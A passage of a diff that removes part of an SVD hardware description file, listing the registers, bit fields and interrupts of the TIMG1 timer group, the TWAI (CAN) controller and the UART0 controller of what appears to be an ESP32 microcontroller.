-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="TIMG0">
-      <name>TIMG1</name>
-      <description>Timer Group</description>
-      <baseAddress>0x3FF60000</baseAddress>
-      <interrupt>
-        <name>TG1_T0_LEVEL</name>
-        <value>18</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_T1_LEVEL</name>
-        <value>19</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_WDT_LEVEL</name>
-        <value>20</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_LACT_LEVEL</name>
-        <value>21</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_T0_EDGE</name>
-        <value>62</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_T1_EDGE</name>
-        <value>63</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_WDT_EDGE</name>
-        <value>64</value>
-      </interrupt>
-      <interrupt>
-        <name>TG1_LACT_EDGE</name>
-        <value>65</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>TWAI</name>
-      <description>Two-Wire Automotive Interface</description>
-      <groupName>TWAI</groupName>
-      <baseAddress>0x3FF6B000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x6C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>TWAI</name>
-        <value>45</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>MODE</name>
-          <description>Mode Register</description>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>RESET_MODE</name>
-              <description>This bit is used to configure the operating mode of the TWAI Controller. 1: Reset mode; 0: Operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LISTEN_ONLY_MODE</name>
-              <description>1: Listen only mode. In this mode the nodes will only receive messages from the bus, without generating the acknowledge signal nor updating the RX error counter.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SELF_TEST_MODE</name>
-              <description>1: Self test mode. In this mode the TX nodes can perform a successful transmission without receiving the acknowledge signal. This mode is often used to test a single node with the self reception request command.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FILTER_MODE</name>
-              <description>This bit is used to configure the filter mode. 0: Dual filter mode; 1: Single filter mode.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD</name>
-          <description>Command Register</description>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_REQ</name>
-              <description>Set the bit to 1 to allow the driving nodes start transmission.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>ABORT_TX</name>
-              <description>Set the bit to 1 to cancel a pending transmission request.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RELEASE_BUF</name>
-              <description>Set the bit to 1 to release the RX buffer.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CLR_OVERRUN</name>
-              <description>Set the bit to 1 to clear the data overrun status bit.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SELF_RX_REQ</name>
-              <description>Self reception request command. Set the bit to 1 to allow a message be transmitted and received simultaneously.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <description>Status register</description>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_BUF_ST</name>
-              <description>1: The data in the RX buffer is not empty, with at least one received data packet.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OVERRUN_ST</name>
-              <description>1: The RX FIFO is full and data overrun has occurred.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_BUF_ST</name>
-              <description>1: The TX buffer is empty, the CPU may write a message into it.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_COMPLETE</name>
-              <description>1: The TWAI controller has successfully received a packet from the bus.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_ST</name>
-              <description>1: The TWAI Controller is receiving a message from the bus.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_ST</name>
-              <description>1: The TWAI Controller is transmitting a message to the bus.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ERR_ST</name>
-              <description>1: At least one of the RX/TX error counter has reached or exceeded the value set in register TWAI_ERR_WARNING_LIMIT_REG.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BUS_OFF_ST</name>
-              <description>1: In bus-off status, the TWAI Controller is no longer involved in bus activities.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MISS_ST</name>
-              <description>This bit reflects whether the data packet in the RX FIFO is complete. 1: The current packet is missing; 0: The current packet is complete</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <description>Interrupt Register</description>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_INT_ST</name>
-              <description>Receive interrupt. If this bit is set to 1, it indicates there are messages to be handled in the RX FIFO.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_INT_ST</name>
-              <description>Transmit interrupt. If this bit is set to 1, it indicates the message transmitting mis- sion is finished and a new transmission is able to execute.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ERR_WARN_INT_ST</name>
-              <description>Error warning interrupt. If this bit is set to 1, it indicates the error status signal and the bus-off status signal of Status register have changed (e.g., switched from 0 to 1 or from 1 to 0).</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OVERRUN_INT_ST</name>
-              <description>Data overrun interrupt. If this bit is set to 1, it indicates a data overrun interrupt is generated in the RX FIFO.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ERR_PASSIVE_INT_ST</name>
-              <description>Error passive interrupt. If this bit is set to 1, it indicates the TWAI Controller is switched between error active status and error passive status due to the change of error counters.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ARB_LOST_INT_ST</name>
-              <description>Arbitration lost interrupt. If this bit is set to 1, it indicates an arbitration lost interrupt is generated.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BUS_ERR_INT_ST</name>
-              <description>Error interrupt. If this bit is set to 1, it indicates an error is detected on the bus.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <description>Interrupt Enable Register</description>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_INT_ENA</name>
-              <description>Set this bit to 1 to enable receive interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_INT_ENA</name>
-              <description>Set this bit to 1 to enable transmit interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ERR_WARN_INT_ENA</name>
-              <description>Set this bit to 1 to enable error warning interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OVERRUN_INT_ENA</name>
-              <description>Set this bit to 1 to enable data overrun interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ERR_PASSIVE_INT_ENA</name>
-              <description>Set this bit to 1 to enable error passive interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ARB_LOST_INT_ENA</name>
-              <description>Set this bit to 1 to enable arbitration lost interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BUS_ERR_INT_ENA</name>
-              <description>Set this bit to 1 to enable error interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BUS_TIMING_0</name>
-          <description>Bus Timing Register 0</description>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BAUD_PRESC</name>
-              <description>Baud Rate Prescaler, determines the frequency dividing ratio.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-            </field>
-            <field>
-              <name>SYNC_JUMP_WIDTH</name>
-              <description>Synchronization Jump Width (SJW), 1 \verb+~+ 14 Tq wide.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BUS_TIMING_1</name>
-          <description>Bus Timing Register 1</description>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME_SEG1</name>
-              <description>The width of PBS1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-            </field>
-            <field>
-              <name>TIME_SEG2</name>
-              <description>The width of PBS2.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-            </field>
-            <field>
-              <name>TIME_SAMP</name>
-              <description>The number of sample points. 0: the bus is sampled once; 1: the bus is sampled three times</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ARB_LOST_CAP</name>
-          <description>Arbitration Lost Capture Register</description>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ARB_LOST_CAP</name>
-              <description>This register contains information about the bit position of lost arbitration.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ERR_CODE_CAP</name>
-          <description>Error Code Capture Register</description>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ECC_SEGMENT</name>
-              <description>This register contains information about the location of errors, see Table 181 for details.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ECC_DIRECTION</name>
-              <description>This register contains information about transmission direction of the node when error occurs. 1: Error occurs when receiving a message; 0: Error occurs when transmitting a message</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ECC_TYPE</name>
-              <description>This register contains information about error types: 00: bit error; 01: form error; 10: stuff error; 11: other type of error</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ERR_WARNING_LIMIT</name>
-          <description>Error Warning Limit Register</description>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000060</resetValue>
-          <fields>
-            <field>
-              <name>ERR_WARNING_LIMIT</name>
-              <description>Error warning threshold. In the case when any of a error counter value exceeds the threshold, or all the error counter values are below the threshold, an error warning interrupt will be triggered (given the enable signal is valid).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RX_ERR_CNT</name>
-          <description>Receive Error Counter Register</description>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_ERR_CNT</name>
-              <description>The RX error counter register, reflects value changes under reception status.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TX_ERR_CNT</name>
-          <description>Transmit Error Counter Register</description>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_ERR_CNT</name>
-              <description>The TX error counter register, reflects value changes under transmission status.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_0</name>
-          <description>Data register 0</description>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_0</name>
-              <description>In reset mode, it is acceptance code register 0 with R/W Permission. In operation mode, it stores the 0th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_1</name>
-          <description>Data register 1</description>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_1</name>
-              <description>In reset mode, it is acceptance code register 1 with R/W Permission. In operation mode, it stores the 1st byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_2</name>
-          <description>Data register 2</description>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_2</name>
-              <description>In reset mode, it is acceptance code register 2 with R/W Permission. In operation mode, it stores the 2nd byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_3</name>
-          <description>Data register 3</description>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_3</name>
-              <description>In reset mode, it is acceptance code register 3 with R/W Permission. In operation mode, it stores the 3rd byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_4</name>
-          <description>Data register 4</description>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_4</name>
-              <description>In reset mode, it is acceptance mask register 0 with R/W Permission. In operation mode, it stores the 4th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_5</name>
-          <description>Data register 5</description>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_5</name>
-              <description>In reset mode, it is acceptance mask register 1 with R/W Permission. In operation mode, it stores the 5th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_6</name>
-          <description>Data register 6</description>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_6</name>
-              <description>In reset mode, it is acceptance mask register 2 with R/W Permission. In operation mode, it stores the 6th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_7</name>
-          <description>Data register 7</description>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_7</name>
-              <description>In reset mode, it is acceptance mask register 3 with R/W Permission. In operation mode, it stores the 7th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_8</name>
-          <description>Data register 8</description>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_8</name>
-              <description>Stored the 8th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_9</name>
-          <description>Data register 9</description>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_9</name>
-              <description>Stored the 9th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_10</name>
-          <description>Data register 10</description>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_10</name>
-              <description>Stored the 10th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_11</name>
-          <description>Data register 11</description>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_11</name>
-              <description>Stored the 11th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA_12</name>
-          <description>Data register 12</description>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BYTE_12</name>
-              <description>Stored the 12th byte information of the data to be transmitted under operating mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RX_MESSAGE_CNT</name>
-          <description>Receive Message Counter Register</description>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_MESSAGE_COUNTER</name>
-              <description>This register reflects the number of messages available within the RX FIFO.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLOCK_DIVIDER</name>
-          <description>Clock Divider register</description>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CD</name>
-              <description>These bits are used to configure frequency dividing coefficients of the external CLKOUT pin.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLOCK_OFF</name>
-              <description>This bit can be configured under reset mode. 1: Disable the external CLKOUT pin; 0: Enable the external CLKOUT pin</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>UART0</name>
-      <description>UART (Universal Asynchronous Receiver-Transmitter) Controller</description>
-      <groupName>UART</groupName>
-      <baseAddress>0x3FF40000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x7C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>UART0</name>
-        <value>34</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>FIFO</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_RD_BYTE</name>
-              <description>This register stores one byte data  read by rx fifo.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver receives more data than (rx_flow_thrhd_h3 rx_flow_thrhd).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when the amount of data in transmitter's fifo is less than ((tx_mem_cnttxfifo_cnt) .</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PARITY_ERR_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the parity error of data.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRM_ERR_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects data's frame error .</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver receives more data than the fifo can store.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DSR_CHG_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the edge change of dsrn signal.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CTS_CHG_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the edge change of ctsn signal.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BRK_DET_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the 0 after the stop bit.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_TOUT_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver takes more time than rx_tout_thrhd to receive a byte.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SW_XON_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver receives xoff char with uart_sw_flow_con_en is set to 1.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SW_XOFF_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver receives xon char with uart_sw_flow_con_en is set to 1.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>GLITCH_DET_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the start bit.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_DONE_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when transmitter completes  sendding  0 after all the datas in transmitter's fifo are send.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_IDLE_DONE_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when transmitter has kept the shortest duration after the  last data has been send.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_DONE_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when transmitter has send all the data in fifo.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_PARITY_ERR_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when rs485 detects the parity error.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_FRM_ERR_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when rs485 detects the data frame error.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_CLASH_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when rs485 detects the clash between transmitter and receiver.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AT_CMD_CHAR_DET_INT_RAW</name>
-              <description>This interrupt raw bit turns to high level when receiver detects the configured at_cmd chars.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_ST</name>
-              <description>This is the status bit for rxfifo_full_int_raw when rxfifo_full_int_ena is set to 1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_ST</name>
-              <description>This is the status bit for  txfifo_empty_int_raw  when txfifo_empty_int_ena is set to 1.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PARITY_ERR_INT_ST</name>
-              <description>This is the status bit for parity_err_int_raw when parity_err_int_ena is set to 1.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRM_ERR_INT_ST</name>
-              <description>This is the status bit for frm_err_int_raw when fm_err_int_ena is set to 1.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_ST</name>
-              <description>This is the status bit for rxfifo_ovf_int_raw when rxfifo_ovf_int_ena is set to 1.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DSR_CHG_INT_ST</name>
-              <description>This is the status bit for dsr_chg_int_raw when dsr_chg_int_ena is set to 1.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CTS_CHG_INT_ST</name>
-              <description>This is the status bit for cts_chg_int_raw when cts_chg_int_ena is set to 1.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BRK_DET_INT_ST</name>
-              <description>This is the status bit for brk_det_int_raw when brk_det_int_ena is set to 1.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_TOUT_INT_ST</name>
-              <description>This is the status bit for rxfifo_tout_int_raw when rxfifo_tout_int_ena is set to 1.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SW_XON_INT_ST</name>
-              <description>This is the status bit for sw_xon_int_raw when sw_xon_int_ena is set to 1.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SW_XOFF_INT_ST</name>
-              <description>This is the status bit for sw_xoff_int_raw when sw_xoff_int_ena is set to 1.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>GLITCH_DET_INT_ST</name>
-              <description>This is the status bit for glitch_det_int_raw when glitch_det_int_ena is set to 1.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_DONE_INT_ST</name>
-              <description>This is the status bit for tx_brk_done_int_raw when tx_brk_done_int_ena is set to 1.</description>
-              <bitOffset>12</bitOffset>
